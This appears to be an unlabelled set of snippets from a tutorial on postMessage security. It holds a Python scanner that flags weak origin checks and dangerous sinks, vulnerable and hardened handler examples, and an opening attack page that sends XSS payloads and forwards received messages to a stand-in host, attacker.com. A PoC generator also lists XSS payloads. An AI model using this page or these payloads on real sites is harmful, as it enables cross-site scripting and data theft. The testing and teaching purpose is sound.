<!DOCTYPE html>
<html>
<head>
<title>postMessage Origin Test</title>
</head>
<body>
<h1>postMessage Security Test</h1>
<iframe id="target" src="https://target.com/page-with-postmessage"></iframe>
<script>
const iframe = document.getElementById("target")
iframe.onload = function () {
iframe.contentWindow.postMessage("test_message", "*")
iframe.contentWindow.postMessage("<img src=x onerror=alert(document.domain)>", "*")
iframe.contentWindow.postMessage(
JSON.stringify({
action: "getData",
id: "../../admin",
}),
"*",
)
}
window.addEventListener("message", function (event) {
console.log("Response from:", event.origin)
console.log("Data:", event.data)
fetch("https://attacker.com/log", {
method: "POST",
body: JSON.stringify({
origin: event.origin,
data: event.data,
}),
})
})
</script>
</body>
</html>
"""
Web Messaging Security Analyzer
Analyzes JavaScript for postMessage vulnerabilities
"""
import re
import requests
from urllib.parse import urljoin
class WebMessagingTester:
def __init__(self, url):
self.url = url
self.findings = []
def fetch_scripts(self):
"""Fetch page and extract JavaScript"""
print(f"[*] Fetching {self.url}")
response = requests.get(self.url)
html = response.text
inline_scripts = re.findall(r'<script[^>]*>(.*?)</script>', html, re.DOTALL)
external_scripts = re.findall(r'<script[^>]*src=["\']([^"\']+)["\']', html)
all_js = '\n'.join(inline_scripts)
for script_url in external_scripts:
full_url = urljoin(self.url, script_url)
try:
js_response = requests.get(full_url)
all_js += '\n' + js_response.text
except:
pass
return all_js
def analyze_postmessage(self, js_code):
"""Analyze postMessage usage"""
print("\n[*] Analyzing postMessage usage...")
postmessage_calls = re.findall(
r'\.postMessage\s*\([^)]+,\s*["\'](\*|[^"\']+)["\']',
js_code
)
for target_origin in postmessage_calls:
if target_origin == '*':
print(f"[VULN] postMessage with wildcard targetOrigin (*)")
self.findings.append({
"issue": "postMessage uses wildcard targetOrigin",
"severity": "Medium",
"detail": "Messages can be received by any origin"
})
def analyze_message_handler(self, js_code):
"""Analyze message event handlers"""
print("\n[*] Analyzing message handlers...")
handlers = re.findall(
r'addEventListener\s*\(\s*["\']message["\']\s*,\s*function\s*\([^)]*\)\s*\{([^}]+(?:\{[^}]*\}[^}]*)*)\}',
js_code,
re.DOTALL
)
for handler in handlers:
if not re.search(r'\.origin\s*[!=]==?\s*["\']', handler):
print(f"[VULN] Message handler without origin validation")
self.findings.append({
"issue": "No origin validation in message handler",
"severity": "High",
"detail": "Messages from any origin are processed"
})
dangerous_patterns = [
(r'innerHTML\s*=', "innerHTML assignment"),
(r'document\.write', "document.write"),
(r'eval\s*\(', "eval execution"),
(r'setTimeout\s*\([^,]*data', "setTimeout with data"),
(r'location\s*=', "location assignment"),
]
for pattern, description in dangerous_patterns:
if re.search(pattern, handler):
print(f"[VULN] Dangerous sink in message handler: {description}")
self.findings.append({
"issue": f"Dangerous sink: {description}",
"severity": "High",
"detail": "Message data used in dangerous sink"
})
def run_analysis(self):
"""Run full analysis"""
js_code = self.fetch_scripts()
self.analyze_postmessage(js_code)
self.analyze_message_handler(js_code)
print("\n" + "="*50)
print("WEB MESSAGING SECURITY REPORT")
print("="*50)
if not self.findings:
print("\nNo obvious vulnerabilities found.")
print("Note: Manual testing is still recommended.")
else:
for f in self.findings:
print(f"\n[{f['severity']}] {f['issue']}")
print(f" Detail: {f['detail']}")
def generate_poc(self):
"""Generate PoC HTML"""
poc = f'''<!DOCTYPE html>
<html>
<head>
<title>postMessage PoC</title>
</head>
<body>
<h1>Web Messaging Test</h1>
<iframe id="target" src="{self.url}"></iframe>
<div id="results"></div>
<script>
const iframe = document.getElementById('target');
const results = document.getElementById('results');
// Payloads to test
const payloads = [
'test',
'<script>alert(1)<\\/script>',
'<img src=x onerror=alert(1)>',
'{{"action":"admin","data":"test"}}',
'javascript:alert(1)'
];
iframe.onload = function() {{
payloads.forEach((payload, i) => {{
setTimeout(() => {{
iframe.contentWindow.postMessage(payload, '*');
console.log('Sent:', payload);
}}, i * 500);
}});
}};
window.addEventListener('message', function(event) {{
const p = document.createElement('p');
p.innerHTML = 'Origin: ' + event.origin + '<br>Data: ' +
JSON.stringify(event.data).substring(0, 100);
results.appendChild(p);
}});
</script>
</body>
</html>'''
return poc
tester = WebMessagingTester("https://target.com/page")
tester.run_analysis()
print("\n\nPoC HTML:")
print(tester.generate_poc())
window.addEventListener("message", function (event) {
document.getElementById("output").innerHTML = event.data
})
window.addEventListener("message", function (event) {
if (event.origin.indexOf("trusted.com") !== -1) {
eval(event.data)
}
})
targetWindow.postMessage(sensitiveData, "*")
window.addEventListener("message", function (event) {
const allowedOrigins = ["https://trusted.com", "https://app.trusted.com"]
if (!allowedOrigins.includes(event.origin)) {
console.warn("Rejected message from:", event.origin)
return
}
let data
try {
data = JSON.parse(event.data)
} catch (e) {
console.warn("Invalid message format")
return
}
if (!data.action || typeof data.action !== "string") {
return
}
const allowedActions = ["getData", "updateUI"]
if (allowedActions.includes(data.action)) {
processMessage(data)
}
})
const targetOrigin = "https://trusted.com"
targetWindow.postMessage(JSON.stringify({ action: "update" }), targetOrigin)
function processMessage(data) {
const sanitized = DOMPurify.sanitize(data.content)
document.getElementById("output").textContent = sanitized
}